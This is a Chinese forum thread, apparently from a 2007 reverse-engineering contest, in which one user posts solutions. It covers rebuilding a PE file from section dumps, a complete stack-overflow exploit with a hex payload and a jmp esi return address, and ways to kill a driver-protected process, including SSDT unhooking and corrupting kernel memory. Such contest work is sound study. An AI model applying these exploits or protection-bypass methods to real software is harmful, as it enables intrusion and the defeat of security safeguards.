能力值:
( LV2,RANK:10 )
|
-
-
2 楼
大家都没吱一声的?
今天又是周末,顺便把一阶段第二题做了,这题没难度,就是有点繁琐。
截图如下:
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
过程一并贴在这里:
1.分析文件名,猜测_text应该为代码段,_data应该为数据段,_rdata应该为输入表段。
2.用16进制文件编辑器查看一下三个文件,_text内没有什么有意义的字符,_data内可见
pediy.com,2007等字样,而_rdata内有很多win32api函数的名字,进一步证明了上述
猜测。并且得到三个文件的长度分别为6000h,3000h,1000h,符合文件和内存对齐因子。
3.随便找一个可以运行在windows 2000/xp下的图形界面程序,用peditor分割它,得到一个
pe头文件0.peheader。然后执行控制台命令copy /b 0.peheader+_text+_rdata+_data
pediy.exe,得到合并后的文件pediy.exe,但是这个文件有着错误的pe头,下一步开始
修复pe头。
4.用petools打开pediy.exe,pe标志以前的信息不需要处理,文件头部分区段数应改成3,
我用的pe头正好为3,就不用改了。
5.可选头部分修改如下:
代码大小改成6000h,入口点暂时设为1000h,数据基址改成8000h,镜像大小改为0b000h,
校验和改为0。
6.区段信息因为我的pe头正好三个段,就不增减了,如果不是三个,需要增减。三个段按名称,
虚拟大小和偏移,raw大小和偏移,特征值修改如下:.text,6000h,1000h,6000h,400h,
60000020h;.rdata,1000h,7000h,1000h,6400h,40000040;.data,3000h,8000h,3000h,
7400h,0c0000040h。
7.数据目录信息需要修改输入表项。用16进制编辑器打开_rdata文件,搜索dll字符串,发现
有两 个user32.dll,这个dll常用,就选它了,第2个user32.dll夹在kernel32.dll和
gdi32.dll之间,更像是输入表指向的字符串,它的偏移是88ah,搜索16进制的8ah,只在638h
处发现一个值,看它后边,78h,00h,00h,猜测638h是iid结构的一部分,朝上20个字节,得
到77ach,去掉段偏移,7ach,正是kernel32.dll。好了,现在我们找到了iid,并且证实了我
们把_rdata放到7000h偏移处是正确的,同时也证实_text和_data位置正确。现在继续向上
找20个字节,4e532331h,没什么意义,我们知道了iid的头部了,7618h。然后从638h向下
找20个字节,79b9h,我们看9b8h处,gdi32.dll,再向下20个字节,00h,找到iid尾部了。
我们知道iid共有4项,也就是50h个字节。现在输入表rva填7618h,大小填50h,数据目录表的
其他项清0。保存一下。
8. 最后一步,找到程序入口点。od打开pediy.exe,在反汇编窗找函数GetVersion,再往上找,
找到retn,retn下一条代码就是开始代码,地址为401527h,入口点填1527h,点确定保存,
ok,程序可以运行了。
9.用vc编一个只包含Help->About菜单的单文档程序,用petools保存资源区段到磁盘,然后用
petools在pediy.exe中增加一个区段,区段数据读入保存在磁盘上的资源数据。
10.参照原程序修复pediy.exe的资源表,然后因为只用到菜单资源,所以只修复菜单项的rva,
这里用16进制编辑工具修改即可。exescope可以看到菜单id为128(80h),About id为32772
(8004h)。
11.发现代码段最后raw5f80h(rva6b80h)之后有一部分空间,决定在这里添加代码和用到的数据,
但输入函数中没有要用到的MessageBoxA,用lordpe增加一个输入函数MessageBoxA,看到
ThunkRVA为D019h。
12.用ultraedit在raw5f81h处填上“看雪论坛.珠海金山2007逆向分析挑战赛0ahhttp://www.p
ediy.com00h”(注意几个16进制字符),raw5fc0h处填上“pediy00h”两个字符串,然后
raw6020h(rva6c20h)处添加代码。
13.在od中运行到RegisterClassA,然后执行到用户代码,向上看,就是填充wndclass的代码,
0040123B |. 56 push esi
0040123C |. 8945 C8 mov dword ptr [ebp-38], eax
0040123F |. FF15 18704000 call dword ptr [<&GDI32.GetStockObject>]
00401245 |. 8945 CC mov dword ptr [ebp-34], eax
00401248 8D45 F4 lea eax, dword ptr [ebp-C] ;注意
0040124B 8945 D0 mov dword ptr [ebp-30], eax ;这两句
0040124E 8D45 B0 lea eax, dword ptr [ebp-50]
00401251 BF A0804000 mov edi, 004080A0
00401256 |. 50 push eax
00401257 |. 897D D4 mov dword ptr [ebp-2C], edi
0040125A |. FF15 0C714000 call dword ptr [<&USER32.RegisterClassA>]
上面标注的两句就是设置wndclass中菜单资源的代码,我们只要在[ebp-30]处填上菜单id 80h就
可以了。这里空间太小,我们跳到406c20h(rva6c20h)处添加,修改如下:
00401248 /E9 D3590000 jmp 00406C20
0040124D |90 nop
......................................
00406C20 > \C745 D0 80000>mov dword ptr [ebp-30], 80
00406C27 .^ E9 22A6FFFF jmp 0040124E
保存文件,运行一下看看,菜单出来了!
13.最后一步,添加菜单的执行代码。运行pediy.exe,用spy++查到wndproc的地址4012d5h,od运行
到这个地址,发现如下代码:
004012D5 /. 55 push ebp
004012D6 |. 8BEC mov ebp, esp
004012D8 |. 83EC 40 sub esp, 40
004012DB |. 8B45 0C mov eax, dword ptr [ebp+C]
004012DE |. 48 dec eax
004012DF |. 48 dec eax
004012E0 |. 74 68 je short 0040134A
004012E2 |. 83E8 03 sub eax, 3
004012E5 |. 74 4D je short 00401334
004012E7 |. 83E8 0A sub eax, 0A
004012EA |. 74 14 je short 00401300
004012EC |. FF75 14 push dword ptr [ebp+14] ;在这里修改
004012EF |. FF75 10 push dword ptr [ebp+10]
004012F2 |. FF75 0C push dword ptr [ebp+C]
004012F5 |. FF75 08 push dword ptr [ebp+8]
004012F8 |. FF15 F4704000 call dword ptr [<&USER32.DefWindowProcA>]
很明显,只要在DefWindowProcA函数前面添加处理菜单的代码就可以了。空间又不够了,这次我
们跳到406c30h处添加代码,我们复制保存这两句:
004012EC |. FF75 14 push dword ptr [ebp+14]
004012EF |. FF75 10 push dword ptr [ebp+10]
然后在4012ech处改为:
004012EC /E9 3F590000 jmp 00406C30
004012F1 |90 nop
然后406c30h处加上如下代码:
00406C30 > \2D 02010000 sub eax, 102 ;是否WM_COMMAND(111h)
00406C35 . 74 0B je short 00406C42 ;是往下跳
00406C37 > FF75 14 push dword ptr [ebp+14]
00406C3A . FF75 10 push dword ptr [ebp+10];保存的两句添在这里
00406C3D .^ E9 B0A6FFFF jmp 004012F2 ;跳回去,继续缺省处理
00406C42 > 66:817D 10 04>cmp word ptr [ebp+10], 8004 ;About的id
00406C48 .^ 75 ED jnz short 00406C37 ;About菜单没有选中,缺省处理
00406C4A 6A 40 push 40
00406C4C 68 C06B4000 push 00406BC0 ;raw5fc0h
00406C51 . 68 816B4000 push 00406B81 ;raw5f81h
00406C56 FF75 08 push dword ptr [ebp+8]
00406C59 FF15 19D04000 call dword ptr [40d019];显示消息
00406C5F ^ E9 EEA6FFFF jmp 00401352 ;跳回缺省处理后面的代码继续
保存文件,运行,ok了。
|
能力值:
( LV8,RANK:130 )
|
-
-
4 楼
楼主继续继续
|
能力值:
(RANK:1060 )
|
-
-
5 楼
看windbg
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
嗯,又是周末,看到heXer大哥的跟贴,盛情难却,把第2阶段第1题也搞出来,下面
是截图:
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
第一次接触溢出式的程序,说一下过程:
1.od打开exploitme.exe,没有异常提示,估计没加壳,看了看引入函数表,不多,
只有creatfilea,readfilea可以从外界输入数据,可见溢出代码是放在文件中的。
看了一下这两个函数和getfilesize,virtualalloc的调用代码,没发现有什么可
以导致溢出的漏洞,看来漏洞是在内存传送文件数据的时候出现的。
2.filemon监视了一下,发现点了对话框中的按钮才读文件,文件名test.txt。所以
重点关注按钮处理子程序就可以了。
3.ida反汇编了一下,大体看了一下代码,就是打开文件,得到文件大小,关闭文件。
开辟内存缓冲区,然后再次打开文件,读入数据,关闭文件。中间判断一下文件大
小,必须大于8小于等于1000h。
4.然后40037e处有一个调用,接着就出现出错对话框,看来这个调用就是关键调用了。
.text:0040037C push eax ; eax为读入的字节数
.text:0040037D push esi ; esi为读入数据缓冲区的开始指针
.text:0040037E call sub_400280 ; 关键调用
.text:0040037E
.text:00400383 pop ecx
.text:00400384 pop ecx
.text:00400384
.text:00400385 push edi ; uType
.text:00400386 push offset Caption ; "Try"
.text:0040038B push offset Text ; "Failed!"
.text:00400390 push edi ; hWnd
.text:00400391 call MessageBoxA
这个调用的两个参数如上所示,其中esi为读入数据缓冲区的开始地址。
4.下一步看看这个调用的内容:
.text:00400280 sub_400280 proc near
.text:00400280
.text:00400280 var_2C = dword ptr -2Ch ;程序开辟的局部缓冲区
.text:00400280 arg_0 = dword ptr 8
.text:00400280 arg_4 = dword ptr 0Ch
.text:00400280
.text:00400280 push ebp
.text:00400281 mov ebp, esp
.text:00400283 sub esp, 2Ch
.text:00400286 and byte ptr [ebp+var_2C], 0
.text:0040028A push esi
.text:0040028B push edi
.text:0040028C push 0Ah
.text:0040028E pop ecx
.text:0040028F xor eax, eax
.text:00400291 lea edi, [ebp+var_2C+1]
.text:00400294 cmp [ebp+arg_4], 0
.text:00400298 rep stosd
.text:0040029A stosw
.text:0040029C stosb ; 以上程序段把局部变量空间全部清0
.text:0040029D jl short loc_4002F0 ; return 0
.text:0040029D
.text:0040029F mov esi, [ebp+arg_0]
.text:004002A2 push 78CC02A8h ; <suspicious>
.text:004002A7 push 69948F1Bh ; <suspicious>
.text:004002AC push dword ptr [esi+4]
.text:004002AF push dword ptr [esi]
.text:004002B1 call sub_4005C0 ;调用1
.text:004002B1
.text:004002B6 push 5BE6FF82h ; <suspicious> ;注意这个数值
.text:004002BB push 0A5164785h
.text:004002C0 push edx
.text:004002C1 push eax
.text:004002C2 call sub_400540 ;调用2
.text:004002C2
.text:004002C7 push 4
.text:004002C9 mov ecx, esi
.text:004002CB pop edi
.text:004002CB
.text:004002CC
.text:004002CC loc_4002CC: ; CODE XREF: sub_400280+57j
.text:004002CC xor byte ptr [ecx], 1Ch
.text:004002CF mov dl, [ecx]
.text:004002D1 xor [ecx+1], dl
.text:004002D4 inc ecx
.text:004002D5 inc ecx
.text:004002D6 dec edi
.text:004002D7 jnz short loc_4002CC ;这段代码对读入的数据头8个字节
;做变换处理
.text:004002D7
.text:004002D9 push 1Ah
.text:004002DB pop ecx
.text:004002DC sub ecx, eax ;eax也必须为d
.text:004002DE imul ecx, eax
.text:004002E1 sub ecx, 9Ch
.text:004002E7 test ecx, ecx ; ecx必须为2c/4+2=d
.text:004002E9 jle short loc_4002F0
.text:004002E9
.text:004002EB lea edi, [ebp+var_2C]
.text:004002EE rep movsd ;重复移动双字
.text:004002EE
.text:004002F0
.text:004002F0 loc_4002F0: ; CODE XREF: sub_400280+1Dj
.text:004002F0 ; sub_400280+69j
.text:004002F0 pop edi
.text:004002F1 xor eax, eax
.text:004002F3 pop esi
.text:004002F4 leave
.text:004002F5 retn
.text:004002F5
.text:004002F5 sub_400280 endp
这段程序开辟了一个2ch大小的局部缓冲区,然后接着两个调用,然后会对输入的数据
头8个字节做变换处理,接着对eax变换,结果存入ecx,作为紧接着的双字移动命令的
重复次数,这个移动命令的源地址正是读入数据的开始地址,而目的地址就是这段程序
开辟的缓冲区,大小为2ch个字节。而eax一般就是后一个调用的返回值。而前一个调用
的两个返回值eax和edx作为调用的一部分参数传入第二个调用。
现在一切都明白了,只要使那个重复移动双字的重复次数ecx为2ch/4+2=dh,而文件的
大小至少为2ch+8h,并且在2ch+4h处放我们希望的返回地址就可以做到溢出了。从这里
可以知道文件的最小字节数为2c+8=34h。
5.从ecx必须为dh,得到第2个调用的返回值eax也必须为dh。而第2个调用的头两个参数
又是第一个调用的返回值,第一个调用的头两个参数就是文件的头8个字节(两个双字),
其他参数都是固定值,看来关键就是文件的头8个字节了。进去看了一下这两个调用,
是一些变换过程,而且似乎不可逆。很难从最后的返回值eax=dh,得到第一个调用的头
两个参数。看来只好蛮力猜测了。一般首先考虑最简单的情况,设文件的第一个双字为
a,第二个双字为b,先来考虑a和b其中一个为0的情况。
6.我先设b=0,a从0不断增加到ffffffffh,每次递增1,写了一个循环来不断把a,b的值送
给这两个调用,看看返回结果是不是dh,如果是,那我们就得到了文件开头的8个字节,
就可以使程序溢出到我们希望的地址了。为了省事,我写的是一个控制台程序(程序见附
件中的guess.exe),而且当猜中一个值,你可以选择继续猜测,因为可能的a值也许不止
一个。我的机器是p4 3.0,很快猜完了所有的数值,得到两个a值,3d6365d6h和eff333b5h。
你也可以设a=0,然后递增b试一下,我因为有两个结果了,就没费心去试。现在我们知道
test.txt头8个字节的两个可能值了。
7.好了,我们可以使程序溢出到我们希望的地址了,但是这个地址是什么呢?有两个可能:一
个是存读入数据的那段地址,一个这个调用中的那个2ch大小的缓冲区。这两段地址一个是
virtualalloc开辟的,一个存在于程序的堆栈区,很难保证在所有32位系统下都是固定的值。
但是仔细看一下,不管第一个地址具体为多少,其开头地址总是放在esi中,而第二个地址
其实也可以从esp的值中计算出来,但是比较麻烦,因此优先考虑第一种。这样我们溢出到
堆栈的地址中的第一条指令应该是jmp esi,反汇编这条指令,看看其16进制数字是什么?
ffe6!呵呵,是不是很熟悉。看看上面那段程序,ida表示可疑的那三条指令。其中一条:
.text:004002B6 push 5BE6FF82h ; <suspicious>
因为双字在内存中的存储方式是逆序,所以push后面的双字的字节按顺序应该是:82h,ffh,
e6h,5bh。这条指令的开始地址是4002b6,push占一个字节,82h占一个字节,然后就是ffe6,
这样我们的到了指令jmp esi的地址:4002b8。把这个地址放在test.txt中的2ch+4处,作
为返回地址。
7.现在test.txt中写入2ch+8个字节的数据,头8个字节先用3d6365d6h,00000000h,2ch+4处填
4002b8,注意字节顺序问题,文件中其它字节先随便填,做为一个好的习惯,都填上0。用od
跟到读入的数据,看一下头8个字节的变换结果是什么指令,首先看到retf,又一个返回,这会
使程序变大,而我们能在2ch+4个字节中放入的指令有限,当然也可以加大文件的长度,但是我
们要求的是字节数最小化。改一下test.txt头4个字节为eff333b5h,重新用od跟,看到如下
指令:
003E0000 A9 9AEF001C test eax, 1C00EF9A
003E0005 1C 1C sbb al, 1C
003E0007 1C 00 sbb al, 0
这就是头8个字节加上一个字节0产生的指令,都是在处理eax,从上面的反汇编可以看出,随后
的消息框函数没有参考eax的值,所以这段指令不产生任何后果,可以不用管了,这样文件头9个
字节就定了。当然2ch+4处的4个字节也定下了。我们可以9个字节后面的空间填上我们自己的指
令了。填什么呢?
8.我们可以自己写消息框指令弹出ok!消息,但是程序中有现成的弹出消息指令,而且函数的标题
和内容都是固定地址,因此更简单的方法是修改原有消息框的标题和内容地址中的字符串,都改
成ok!就可以了。看看这段指令:
00400385 |> 57 push edi ; /Style
00400386 |. 68 68024000 push 00400268 ; |Title = "Try"
0040038B |. 68 60024000 push 00400260 ; |Text = "Failed!"
00400390 |. 57 push edi ; |hOwner
00400391 |. FF15 4C024000 call dword ptr [<&USER32.MessageBoxA>] ; \MessageBoxA
知道怎么改了吧。
9.还有一个问题,我们溢出到想要的地址必须越过子程序开始处存在堆栈中的ebp,也就是说,覆盖它
了。这样导致子程序结束时弹出到ebp中的值不是原来的值,我们必须修正ebp回原来的值,否则因
为堆栈页面混乱导致程序出错。ebp的值可以从调用子程序的那段程序中开辟的局部缓冲区大小,保
存的寄存器个数,子程序的参数个数和返回时esp的值计算出来。这两段段程序如下:
.text:004002F6 push ebp
.text:004002F7 mov ebp, esp
.text:004002F9 sub esp, 10h
.text:004002FC push esi
.text:004002FD push edi
.text:0040037C push eax ; eax为读入的字节数
.text:0040037D push esi ; esi为读入数据缓冲区的开始指针
.text:0040037E call sub_400280 ; 关键调用
很明显,ebp=esp+20h。
10.我们自己的程序执行完,我们希望原来的程序接着执行,这样才可以弹出消息框,而且程序也不会
死掉。所以test.txt最后一条指令应该跳回子程序返回后的地址:400383。就用jmp 400383!真的
这么简单吗?不是的。这个指令是相对当前地址来寻址的,当前地址改变了,它就跳到不知什么地方
去了,而当前地址是virtalalloc开辟的,随时可能改变。所以我们应该用寄存器寻址指令。我们已
经知道eax中的值没用,所以就用eax来寻址:mov eax,400383 jmp eax。
11.我们开始填入test.txt9个字节之后的程序段,就在od中填,利用它的在线汇编功能:
00B00009 8D6C24 20 lea ebp, dword ptr [esp+20]
00B0000D C705 68024000 6F6B2100 mov dword ptr [400268], 216B6F ;00216b6f就
00B00017 C705 60024000 6F6B2100 mov dword ptr [400260], 216B6F ;是"ok!\0"
00B00021 B8 83034000 mov eax, 400383
00B00026 FFE0 jmp eax
这段代码共31个字节,用二进制复制的方式复制,然后用010editor打开test.txt,从第10个字节选
31个字节,然后按shift+ctrl+v,把这段代码复制到test.txt中相关位置,保存文件。
test.txt中的完整内容如下:
B5 33 F3 EF 00 00 00 00 00 8D 6C 24 20 C7 05 68
02 40 00 6F 6B 21 00 C7 05 60 02 40 00 6F 6B 21
00 B8 83 03 40 00 FF E0 00 00 00 00 00 00 00 00
B8 02 40 00
12.把test.txt放入存放exploitme的文件夹,运行程序,单击按钮,弹出我们希望的对话框,再单击确定
按钮,返回正常界面。一切ok了!
关于附件中的guess.exe,这里说几句,程序每试一千万个数,就显示一次数值,提示你没有死掉,正在
寻找,这个数不是a值,找到真正的a值,它会振铃两次,显示a和b的值,然后提示:找到合适的a值......,
如果你的机器比较慢,这个过程可能比较长,但不会长的过分。如果你没有耐心,直接关闭窗口就可以了。
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
做完了题,看了看各位大大的帖子,很多人认为51个字节就可以了,但大家注意这一句
没有
.text:004002EE rep movsd
假如test.txt的大小只有51个字节,那么意味着这条指令将要把virtualalloc开辟的缓冲区
后面的一个字节压入堆栈,作为返回地址的一部分。虽然通常这个字节就是00,但无法保证必定如此,有可能有的win32系统这里不是00,或者正好所有缓冲区用完,下面接着的
字节一般不会是00。虽然这个可能性非常小,但还是有可能的,为了减少一个字节,牺牲
程序的稳定性完全是不必要的。所以个人认为还是52个字节为妥。
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
中午没事,看了看第2阶段第3题,先写了个最简单的结束程序。
实现方法1:
用findwindow找到窗口,然后用sendmessage发送WM_CLOSE消息结束程序。
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
实现方法2:
用exitwindows注销用户,crackmeapp自然就结束了。
类似的实现方法还有用exitwindowsex,initiatesystemshutdown等函数关机 ,重启动,都可以结束crackmeapp。
不知道算不算独立的方法?
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
还是发一下吧,反正写起来也不费事。
实现方法3:
用exitwindowsex注销用户,crackmeapp结束。
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
实现方法4:
用exitwindowsex关机,crackmeapp结束。
|
能力值:
( LV2,RANK:10 )
|
-
-
13 楼
实现方法5:
用exitwindowsex重启动,crackmeapp结束。
|
能力值:
( LV9,RANK:850 )
|
-
-
14 楼
看起来,不把你顶成年度热贴是不行了,顶,顶,顶
|
能力值:
( LV2,RANK:10 )
|
-
-
15 楼
呵呵,谢谢wofan[OCN]大哥,只是没事想自我测试一下吧。
继续发,实现方法6:
用initiatesystemshutdown关机,crackmeapp结束。
|
能力值:
( LV2,RANK:10 )
|
-
-
16 楼
实现方法7;
用initiatesystemshutdown重启动,crackmeapp结束。
|
能力值:
( LV2,RANK:10 )
|
-
-
17 楼
论坛好慢,都快不能发帖了。
实现方法8:
用intiatesystemshutdownex关机,crackmeapp结束。
这个函数vc6居然不支持,所以这个方法和下一个只好在vs2003中解决了。
|
能力值:
( LV2,RANK:10 )
|
-
-
18 楼
实现方法9:
用intiatesystemshutdownex重启动,crackmeapp结束。
呵呵,其实这道题明显提示的一个地方就是考虑驱动,我就不再发关机,重启动之类的程序了,明显有凑字数的嫌疑。
|
能力值:
( LV2,RANK:10 )
|
-
-
19 楼
本来对驱动一窍不通,周末现学现卖,写了个小驱动干掉creakemeapp的驱动保护,现在发上来吧。
实现方法10:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x19b0处查到原来的
函数地址,回填。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,
controlservice,deleteservice,closeservicehandle,closeservicehandle停止它。然后用
createtoolhelp32snapshot,process32first,process32next,openprocess得到crakemeapp的进程句柄,然后
terminateprocess关闭它,最后关闭它开启的驱动,OK了。
|
能力值:
( LV2,RANK:10 )
|
-
-
20 楼
补充一下,上面的驱动是在ddk2003中的xp ddk下编译成功的,应用层是在vs.net 2003中编译的,vc6不支持其中的一个常量,下面同,不再说明。
|
能力值:
( LV2,RANK:10 )
|
-
-
21 楼
实现方法11:
写一个驱动,在driverunload里面对系统内存乱写。然后写一个应用程序,开始驱动,停止驱动,干掉windows,
creakemeapp结束。
|
能力值:
( LV2,RANK:10 )
|
-
-
22 楼
实现方法12:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x19b0处查到原来的
函数地址,回填。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,
controlservice,deleteservice,closeservicehandle,closeservicehandle停止它。然后用
createtoolhelp32snapshot,process32first,process32next,openprocess得到crakemeapp的进程句柄,然后
virtualprotectex使它可写,接着用writeProcessMemory乱写,干掉它,最后关闭它开启的驱动,OK了。
|
能力值:
( LV2,RANK:10 )
|
-
-
23 楼
实现方法13:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x19b0处查到原来的
函数地址,回填。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,
controlservice,deleteservice,closeservicehandle,closeservicehandle停止它。然后用
createtoolhelp32snapshot,process32first,process32next得到crakemeapp的进程id,然后用debugactiveprocess
附加到它上面,接着等waitfordebugevent返回,退出,OK了。
|
能力值:
( LV2,RANK:10 )
|
-
-
24 楼
实现方法14:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x110处查到creakeme
中还原服务表的那段代码,然后直接调用它,让它自己还原服务表。接着在应用层程序中用openscmanager,
createservice,startservice开始我的驱动,controlservice,deleteservice,closeservicehandle,
closeservicehandle停止它。然后用createtoolhelp32snapshot,process32first,process32next,openprocess
得到crakemeapp的进程句柄,然后terminateprocess关闭它,最后关闭它开启的驱动,OK了。
|
能力值:
( LV2,RANK:10 )
|
-
-
25 楼
实现方法15:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,在这个地址的偏移0x8a处写上eb 02(方
法1)或者90 90 90 90(方法2)使驱动程序即使判断出在取crakemeapp的句柄也不跳过原来的ntopenprocess
函数。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,controlservice,
deleteservice,closeservicehandle,closeservicehandle停止它。然后用createtoolhelp32snapshot,
process32first,process32next,openprocess得到crakemeapp的进程句柄,然后terminateprocess关闭它,
最后关闭它开启的驱动,OK了。
|
|
|